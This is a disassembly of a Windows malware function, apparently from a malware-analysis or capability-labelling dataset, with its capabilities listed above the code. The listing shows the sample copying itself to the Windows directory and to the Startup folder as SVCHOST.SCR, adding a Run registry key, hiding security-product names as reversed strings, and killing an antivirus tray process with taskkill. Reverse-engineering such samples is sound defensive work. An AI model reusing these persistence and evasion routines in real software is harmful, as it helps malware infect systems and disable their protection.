Function at 0x411d00
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Copy file
Create directory
Create process on windows
Create shortcut via ishelllink
Create thread
Delete file
Get common file path
Get file attributes
Move file
Persist via lnk shortcut
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x14e44
call fcn.0041b460
push ebx
push ebp
push esi
lea eax, [esp + 0x47c]
push edi
push eax
mov dword [esp + 0x484], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebp, dword [0x43125c]
cmp dword [esp + 0x484], 6
je 0x411d7f
lea ecx, [esp + 0x724]
push 0x3e7
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x724]
lea eax, [esp + 0xd9c]
push edx
push str._sSysTEM32_sysedit.exe
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0xd9c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411d7f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [0x4312b4]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [0x431284]
push 0
push 0
lea edx, [esp + 0x368]
push 0
push edx
call dword [0x431260]
mov eax, dword [0x4321e4]
push str.AAAAAA
push eax
call fcn.00405570
add esp, 8
mov dword [esp + 0x20], eax
test eax, eax
jne 0x411dd7
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x14e44
ret 0x10
mov ecx, 5
mov esi, str.C:WINDOWSV2013.exe
lea edi, [esp + 0x620]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3b
lea edi, [esp + 0x635]
rep stosd dword es:[edi], eax
mov edx, dword [0x4321e4]
lea ecx, [esp + 0x24]
stosw word es:[edi], ax
mov bl, 0x55
push ecx
push edx
mov byte [esp + 0x2c], 0x4c
stosb byte es:[edi], al
mov byte [esp + 0x2d], 0x4f
mov byte [esp + 0x2e], 0x56
mov byte [esp + 0x2f], 0x45
mov byte [esp + 0x30], 0x59
mov byte [esp + 0x31], 0x4f
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0
call fcn.004055f0
add esp, 8
test eax, eax
je 0x412003
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x412003
lea eax, [esp + 0x1c]
push eax
push 0x42643c
push 1
push 0
push 0x42644c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x411fde
lea ecx, [esp + 0x25c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x25c]
mov eax, dword [esp + 0x1c]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x50]
lea ecx, [esp + 0x20]
mov eax, dword [esp + 0x1c]
push ecx
push 0x42647c
push eax
mov edx, dword [eax]
call dword [edx]
test eax, eax
jl 0x411fd4
mov ecx, 0xf
mov esi, str.C:Documents_and_SettingsAll_Users_
lea edi, [esp + 0x48]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x32
lea edi, [esp + 0x84]
rep stosd dword es:[edi], eax
mov edi, 0x42b1f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov word [esp + 0x724], ax
and ecx, 3
push 0x42b1f0
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x81
lea edi, [esp + 0x72a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x260]
push 0x5c
push eax
call fcn.0041b8e0
add esp, 8
push eax
call fcn.0041c57a
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x48]
and ecx, 3
push 0x104
rep movsb byte es:[edi], byte [esi]
mov edi, str..lnk
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x728]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xffffffffffffffff
lea ecx, [esp + 0x54]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [esp + 0x724]
push 0
mov eax, dword [esp + 0x24]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x18]
mov eax, dword [esp + 0x20]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea edx, [esp + 0x620]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14e44
ret 0x10
mov eax, dword [0x4321e4]
push str.DDDDDD
push eax
mov byte [esp + 0x1c], 0x46
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x43
mov byte [esp + 0x1f], 0x4b
mov byte [esp + 0x20], 0x59
mov byte [esp + 0x21], 0x4f
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call fcn.00405570
add esp, 8
test eax, eax
je 0x412295
add eax, 6
push eax
call fcn.0040e9d0
lea ecx, [esp + 0x20c]
push eax
push ecx
call ebp
add esp, 0xc
lea edx, [esp + 0x25c]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x48]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.V2011
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x48]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll__mkdir
mov edi, 0x42b1f0
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x48]
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x4c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x724]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x724]
push 0x42c904
push eax
call fcn.0041b3e0
add esp, 8
mov esi, eax
call fcn.00410f50
test eax, eax
jne 0x412163
test esi, esi
je 0x4121b9
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x5c]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
mov esi, eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x1c]
push 0
lea eax, [esp + 0x18]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x1c]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
jmp 0x4121bf
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea esi, [esp + 0x48]
lea eax, [esp + 0x25c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4121ee
test cl, cl
je 0x4121ea
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4121ee
add eax, 2
add esi, 2
test cl, cl
jne 0x4121ca
xor eax, eax
jmp 0x4121f3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41229b
lea eax, [esp + 0x48]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 5
mov esi, str.C:WINDOWSV2013.exe
lea edi, [esp + 0x51c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3b
lea edi, [esp + 0x531]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x37c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x380]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [esp + 0x51c]
lea eax, [esp + 0x37c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x412285
test cl, cl
je 0x412281
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x412285
add eax, 2
add esi, 2
test cl, cl
jne 0x412261
xor eax, eax
jmp 0x41228a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41229b
call fcn.0040a7d0
jmp 0x41229b
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4321e4]
push str.CCCCCC
push eax
call fcn.00405570
mov ecx, dword [esp + 0x28]
push eax
push ecx
lea edx, [esp + 0xc1c]
push str._s_s
push edx
call fcn.0041bc08
add esp, 0x18
lea eax, [esp + 0xc0c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4122f2
push esi
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x4321e4]
lea ecx, [esp + 0x14]
push ecx
push edx
call fcn.004055f0
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 8
test eax, eax
jne 0x412336
call fcn.00410e20
test al, al
jne 0x412336
call fcn.00410eb0
test al, al
jne 0x412336
push 0
push 0
push 0
push 0x411260
push 0
push 0
call edi
push eax
call ebx
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0x4102f0
push 0
push 0
call edi
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push esi
call ebx
mov ecx, dword [0x4321e4]
push str.SSSSSS
push ecx
call fcn.00405570
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
test eax, eax
je 0x4125fe
push str.360tray.exe
call fcn.004134b0
add esp, 4
test eax, eax
jne 0x4125ea
push str.exe.yartsR
call sub.MSVCRT.dll__strrev
push eax
call fcn.004134b0
add esp, 8
test eax, eax
jne 0x412522
push str.KSafeTray.exe
call fcn.004134b0
add esp, 4
test eax, eax
jne 0x412522
mov ecx, 5
mov esi, str.C:WINDOWSV2011.exe
lea edi, [esp + 0x25c]
lea edx, [esp + 0x48]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3b
lea edi, [esp + 0x271]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x48]
push 0x104
xor ebx, ebx
push edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.exe.pva
call sub.MSVCRT.dll__strrev
push eax
call fcn.004134b0
add esp, 8
test eax, eax
jne 0x4124d6
lea eax, [esp + 0x25c]
push 1
lea ecx, [esp + 0x4c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0xb
mov esi, str.nuR_noisreVtnerruC_swodniW_tfosorciMerawtfoS
lea edi, [esp + 0xd9c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xf4
lea edi, [esp + 0xdca]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x25c]
push ebx
push edx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x264]
push eax
push 1
lea ecx, [esp + 0xdac]
push str.V2011
push ecx
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push 0x80000001
call fcn.0040b320
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x1c
lea edx, [esp + 0x48]
push 1
push 0x42c204
push edx
call esi
push 1
lea eax, [esp + 0x4c]
push str.C:Documents_and_SettingsAll_UsersStart_MenuProgramsStartupSVCHOST.SCR
push eax
call esi
jmp 0x4124dc
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
lea ecx, [esp + 0x4c]
push str.C:WINDOWS_temp2011.exe
push ecx
call esi
push 0x64
call ebp
push str.C:WINDOWS_temp2011.exe
call fcn.00410930
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 4
push 4
push 0x42c204
push str.C:WINDOWS_temp2011.exe
call esi
push 4
push str.C:Documents_and_SettingsAll_UsersStart_MenuProgramsStartupSVCHOST.SCR
push str.C:WINDOWS_temp2011.exe
call esi
jmp 0x412600
push str.KSafeTray.exe
call fcn.004134b0
add esp, 4
test eax, eax
je 0x412540
push 0
push str.taskkill__f__im_KSafeTray.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push str.exe.yartsR
call sub.MSVCRT.dll__strrev
push eax
call fcn.004134b0
add esp, 8
test eax, eax
je 0x412572
push 0
push 0
push 0
push 0x4107b0
push 0
push 0
call edi
push eax
call ebx
push 0x3e8
call ebp
lea edx, [esp + 0x37c]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x37c]
push 0x104
push edx
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [esp + 0x380]
push str.C:WINDOWS_temp2011.exe
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x64
call ebp
push str.C:WINDOWS_temp2011.exe
call fcn.00410930
add esp, 4
push 4
push 0x42c204
push str.C:WINDOWS_temp2011.exe
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x42c83c
push 0
call dword [0x43126c]
push 0
push 0
push 0x10
push eax
call dword [0x431268]
jmp 0x4125fe
push 0
push 0
push 0
push 0x410bd0
push 0
push 0
call edi
push eax
call ebx
xor ebx, ebx
call dword [0x431288]
push 0x2000000
push ebx
push str.winsta0
call dword [0x431280]
cmp eax, ebx
je 0x412622
push eax
call dword [0x43127c]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea ecx, [esp + 0x14c]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x34], ebx
call fcn.00401b50
lea ecx, [esp + 0x14c]
push ecx
lea ecx, [esp + 0xaffc]
call fcn.00409f90
lea ecx, [esp + 0xaff8]
call fcn.00409fc0
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov byte [esp + 0x13], 0
mov al, byte [esp + 0x13]
test al, al
je 0x4126c0
cmp al, 3
je 0x4126c0
xor edi, edi
lea edx, [esp + 0x228]
push edx
push 0
push 0x1f0003
call ebx
mov esi, eax
test esi, esi
jne 0x4126ad
push 0x3c
call ebp
inc edi
cmp edi, 0x3e8
jl 0x412687
jmp 0x4126c0
lea ecx, [esp + 0x14c]
call fcn.00402500
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4321e4]
push str.AAAAAA
push eax
call fcn.00405570
add esp, 8
lea ecx, [esp + 0x34]
lea edx, [esp + 0x40]
add eax, 6
push ecx
push edx
lea ecx, [esp + 0x44]
lea edx, [esp + 0x40]
push ecx
push edx
lea ecx, [esp + 0x40]
lea edx, [esp + 0x3c]
push ecx
push edx
push eax
call fcn.0040e9d0
add esp, 4
push eax
call fcn.0040eb50
add esp, 0x1c
test al, al
jne 0x412714
mov byte [esp + 0x13], 1
jmp 0x412679
mov eax, dword [esp + 0x38]
test eax, eax
je 0x412730
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push ecx
push eax
push 5
jmp 0x41273d
push 0
push 0
push 0x438
push 0
push 0
lea ecx, [esp + 0x160]
call fcn.004027c0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov edx, dword [esp + 0x30]
mov esi, eax
mov eax, dword [esp + 0x2c]
push edx
push eax
lea ecx, [esp + 0x154]
call fcn.00401d10
test al, al
jne 0x412777
mov byte [esp + 0x13], 2
jmp 0x412679
call edi
sub eax, esi
lea ecx, [esp + 0x14c]
push eax
lea edx, [esp + 0xb10]
push ecx
push edx
call fcn.0040f300
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
add esp, 0xc
lea edx, [esp + 0x228]
push eax
mov eax, dword [esp + 0x48]
push ecx
push edx
lea ecx, [esp + 0xb18]
push eax
lea edx, [esp + 0x15c]
push ecx
push edx
lea ecx, [esp + 0x11b4]
call fcn.00409ef0
lea eax, [esp + 0x119c]
lea ecx, [esp + 0x14c]
push eax
call fcn.004027b0
xor esi, esi
lea ecx, [esp + 0x119c]
call fcn.0040a950
test al, al
jne 0x4127fa
push 0x3e8
call ebp
inc esi
cmp esi, 0x14
jl 0x4127dd
lea ecx, [esp + 0x119c]
call fcn.0040a950
test al, al
jne 0x41281b
lea ecx, [esp + 0x119c]
call fcn.0040a0f0
jmp 0x412679
call edi
lea ecx, [esp + 0x228]
push ecx
push 0
push 0x1f0003
call ebx
push 0x64
mov esi, eax
mov edx, dword [esp + 0x1fc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f4
mov edi, eax
call ebp
test esi, esi
jne 0x412862
test edi, edi
jne 0x41281d
lea ecx, [esp + 0x119c]
call fcn.0040a0f0
jmp 0x412679
lea ecx, [esp + 0x14c]
call fcn.00402500
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea ecx, [esp + 0x119c]
call fcn.0040a0f0
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call esi
lea ecx, [esp + 0xaff8]
call fcn.0040a0f0
lea ecx, [esp + 0x14c]
call fcn.00401c50
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14e44
ret 0x10